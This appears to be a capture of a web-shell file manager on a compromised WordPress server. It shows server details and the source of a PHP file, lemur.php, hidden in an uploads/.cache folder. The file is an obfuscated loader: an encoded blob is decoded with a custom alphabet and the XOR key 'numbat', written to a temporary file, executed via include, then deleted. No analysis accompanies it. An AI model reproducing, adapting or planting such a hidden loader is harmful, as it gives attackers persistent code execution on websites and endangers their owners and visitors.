HEX
Server: Apache/2
System: Linux s01 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64
User: beestg (1003)
PHP: 8.3.25
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/beestg/domains/beestgenot.nl/private_html/wp-content/uploads/2024/.cache/modules/lemur.php
<?php
$encrypted = 'UlQpLSIgNyUoQgkAAxlTb2tIBgEADl95ZEkFBwAQUHhnQkFUTkkABxUVThYFAxMHCwFQQDQgKFhVQF95ZFVNQkFIHQEUDgRKY39NQkFUTlVNQgMbCgxNGWx-TlVNQkFUTlVNQkFUDBQOCQYGAQADBkwXARkCEFtUTUQIUwRFC05gaEFUTlVNQkFUTlVNQgIbAhofWEFXCBQLUgRCVXhnQkFUTlVNQkFUTlVNBA4aGlgLAwwdAgxXQgwbABoeEgAXC05gaEFUTlVNQkFUE3hnQkFUTlVNQkEACw0ZAxMRD1UWb2tUTlVNQkFUTlVNQkEDBxEZCltUXUVIWWx-TlVNQkFUTlVNQkFUBhAEBQkAVFVZUhccVXhnQkFUTlVNQkFUTlVNAAAXBRIfDRQaClgODQ0bHE9NQVMWXBdfAFp5ZFVNQkFUTlVNQkFUThYCDg4GVFVOBAASXhBbWWx-TlVNQkFUTlVNQkFUDBofBgQGVFVcEhlUHRoBCwVUTUFZVlp5ZFVNQkFUTlVNQkFUTgUMBgUdABJXQlBEHg1Wb2tUTlVNQkFUTlVNQkESARsZTxIdFBBXQlBAHg1Wb2tUTlVNQkFUTghgaEFUTlVNQkFUQBgIERIVCRBNGWx-TlVNQkFUTlVNQkFUDRoBDRNOThkEBQkACQcIBw9PY39NQkFUTlVNQkFUTlUdAwUQBxsKWEFFXgUVWWx-TlVNQkFUTlUQb2tUTlVNQkFUThcYFhUbAFUWb2tUTlVNQkFUTlVNQkEWDxYGBRMbGxsJTwIbAhofWBMTDBRFU1lYTkReWk1UX0dfTkFEQEJVS1p5ZFVNQkFUTlVNQkFUTh0ICwYcGk9NUFQEFk5gaEFUTlVNQkFUTlVNQgIbAhofWEFXKDMrWiU3VXhnQkFUTlVNQkFUTlVNDwAGCRwDTxMdCR0ZWEFFXgUVWWx-TlVNQkFUTlVNQkFUDBofBgQGQwcMBggBHU9NUREMVXhnQkFUTlVNQkFUTlVNAA4GChAfWEEaARsIWWx-TlVNQkFUTlVNQkFUHhQJBggaCU9NVhEMTkRfEhlPY39NQkFUTlVNQkFUTlULDQ8AQxMMDwgYF09NRSsRGjcfAwgaHVUgDQ8bSVlNRSIbGwcEBxNUIBAaRU1ULRoYEAgRHFlNDw4aAQYdAwIRVXhnQkFUTlVNQkFUTlVNBA4aGlgeCxsRVFVcUREMVXhnQkFUTlVNQkFUTlVNARQGHRofWEEEARwDFgQGVXhnQkFUTlVNQkFUTlVNFgQMGlgMDggTAE9NAQQaGhAfWWx-TlVNQkFUTlVNQkFUGhAVFkwQCxYCEAAABxoDWEEaARsIWWx-TlVNQkFUTlVNQkFUGgcMDBIdGhwCDFtUDxkBQlFaX0AeQgQVHRBWb2tUTlVNQkFUTghgaEFUTlVNQkFUDAAZFg4aVB0CFAQGTg5gaEFUTlVNQkFUTlVNQgMbFlgeCgAQAQJXQlFUXAUVQlkEFlUfBQMVRkNYTkFCW1lNVFRYTkVDVUhPY39NQkFUTlVNQkFUTlUPAwIfCQcCFw8QQxYCDg4GVAcKAABcX0ZVTkFFVllNVllYTkVDVVldVXhnQkFUTlVNQkFUTlVNBA4aGlgeCxsRVFVcUREMVXhnQkFUTlVNQkEJY39NQkFUTlVNQk8SBxkIJwUdGhAfQhp5ZFVNQkFUTlVNQkFUTgEIGhVZDxkEBQ9OThYIDBURHE5gaEFUTlVNQkFUTlVNQgIbAhofWEFXCBQLUgRCVXhnQkFUTlVNQkEJY39NQkFUTlVNQk8cCxQJBxNUFXhnQkFUTlVNQkFUTlVNBA4aGlgLAwwdAgxXQkY3AQAfCwQGTjsIFUZYTjYCFxMdCwdBQgwbABoeEgAXC05gaEFUTlVNQkFUTlVNQgcbAAFAEQgOC09NU1VES05gaEFUTlVNQkFUE3hnQkFUTlVNQkEdAAUYFjoAFwUIX0MACw0ZQDxUFXhnQkFUTlVNQkFUTlVNAAAXBRIfDRQaClgODQ0bHE9NQVARXxBcB1p5ZFVNQkFUTlVNQkFUThYCDg4GVFVOBAASXhBbWWx-TlVNQkFUTlVNQkFUDBofBgQGVFVcEhlUHRoBCwVUTUBYV1p5ZFVNQkFUTlVNQkFUTgUMBgUdABJXQlUEFk5gaEFUTlVNQkFUTlVNQgcbAAFABAAZBxkUWEEZARsCEREVDRBWb2tUTlVNQkFUTlVNQkEZDwcKCw9ZAhALFltUX0UdGlp5ZFVNQkFUTlVNQkFUTgIEBhUcVFVfUlEEFk5gaEFUTlVNQkFUE3hnQkFUTklCERUNAhBTb2tIQR0IAwVKY39RAA4QF0tgaEFUTlVRBggCThYBAxIHU1cLCw0RKxEEFgQGTEtgaEFUTlVNQkFUUhMCEAxUAxAZCg4QU1c9LTIgTEtgaEFUTlVNQkFUTlVNQl0QBwNNAQ0VHQZQQAkRDxEIEENKY39NQkFUTlVNQkFUTlVNQkFUUhwDEhQATgEUEgRJTAEIGhVWThsMDwRJTBsIFT4SBxkIDAAZC1dNEg0VDRAFDQ0QCwdQQA8RGSoLCw0RABQAB0NUGBQBFwRJTFdTb2tUTlVNQkFUTlVNQkFUTlVNXgMBGgECDEEAFwUIX0MHGxcACxVWUDYfBwAAC0lCABQAGhoDXGx-TlVNQkFUTlVNQkFUTlVNQl1LHh0dQggSTl1MBwwEGgxFRgwRHQYMBQRdR1UIAQkbTlJRBggCThYBAxIHU1cABxIHDxIIQF9TTltNChUZAgYdBwIdDxkOCgAGHV1JDwQHHRQKB0hUQFVKXk4QBwNTRVpUUUtgaEFUTlVNQkFUTlVNQl1bChwbXGx-TlVNQkFUTlVNQkFUUhcfXGx-TlVNQkFUTlVNQkFUUgEIGhUVHBAMQg8VAxBQQAIbAAEIDBVWTgUBAwIRBhoBBgQGU1dCTUEDHBwZB0ENAQAfQgIbAAEIDBVUBhAfB09aQFdTXk4ACw0ZAxMRD0tgaEFUTlVNQkFUUloLDRMZUHhnQkFUTklCBggCUHhnXk4WAREUXGx-UloFFgwYUHhnb2tIUQUFEmx-SgUMFglUU1UEERIRGl1JPSYxOi5KEgAABlIwS0FLTgcIAw0EDwEFSkUrKTA5OUYEDwEFRTxdTk9NDBQYAk5gaEUQARYYDwQaGicCDRVUU1UfBwAYHhQZCkkTCwEOFQVcR1xWb2t5ZBwLQklVSgUMFglUEglNQwgHMREEEElQHhQZCkhdTg5gaEFUTlUJCwRcSRwDAQ4GHBAOFkEQBwcIARUbHAxKS1p5ZAhgaGx-ShgIERIVCRBNX0FTSU5gaGx-BxNNSkUrPTA_NCQmNVI_JzAhKyY5PSwxOj0iJkYpTkhQX0FTPjo-NkZdTg5gaEFUTlVJDAQDKBwBBw8VAxBNX0EdHQYIFklQMSUiMTUvSRsIFT4SBxkIDAAZC1IwS0FLTgEfCwxcSio9LTIgNVIDBxYrCBwBBw8VAxBKP0hUVFVKRVp5ZFVNQkFQDRoDFgQaGlVQQggHHRAZSkUrPjo-NjpTDRoDFgQaGlIwS0FLTlEyMi4nOi5KAQ4aGhADFkYpTk9NRUZPY39gaGx-TlVNQggSTl1JDAQDKBwBBw8VAxBNQ1xJTlJKS0EPY39NQkFUTlVNQkUADwcKBxUyBxkIQlxUSgUMFglUQFUpKzMxLSEiMDgrPTA9IzM1Ojo_Qk9UDBQeBw8VAxBFRg8RGTMEDgQaDxgIS1p5ZHhnQkFUTlVNQkEdCFVFQwcdAhAyBxkdHQEeSkUADwcKBxUyBxkIS0hUFXhnQkFUTlVNQkFUTlVNCwdURhMEDgQrHgAZPQIbAAEIDBUHRlEZAxMTCwErCw0RQlVJAQ4aGhADFkhUT0hQQgcVAgYIS0EPY39NQkFUTlVNQkFUTlVNQkFUShgIERIVCRBNX0FWDQcIAxURClRPWWx-TlVNQkFUTlVNQkFUE1UIDhIRTg5gaEFUTlVNQkFUTlVNQkFUTlVJDwQHHRQKB0FJTlcLAwgYCxFNFg5UGQcEFgRUCBwBB1pWVXhnQkFUTlVNQkFUTlVNH2x-TlVNQkFUTlUQQgQYHRBNGWx-TlVNQkFUTlVNQkFUShgIERIVCRBNX0FWCBwBB0EVAgcIAwUNThAVCxIAHU5PWWx-TlVNQkFUTlUQb2tUTlVNH0ERAgYIQhp5ZFVNQkFUTlVNRgwRHQYMBQRUU1VPBAgYCxsMDwRUBwZNEAQFGxwfBwVPTE5gaEFUTlUQb2sJY39SXGx-';
if (!function_exists('goat')) {
    function goat($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), goat($encrypted, 'numbat'));
include $tmp;
unlink($tmp);

?>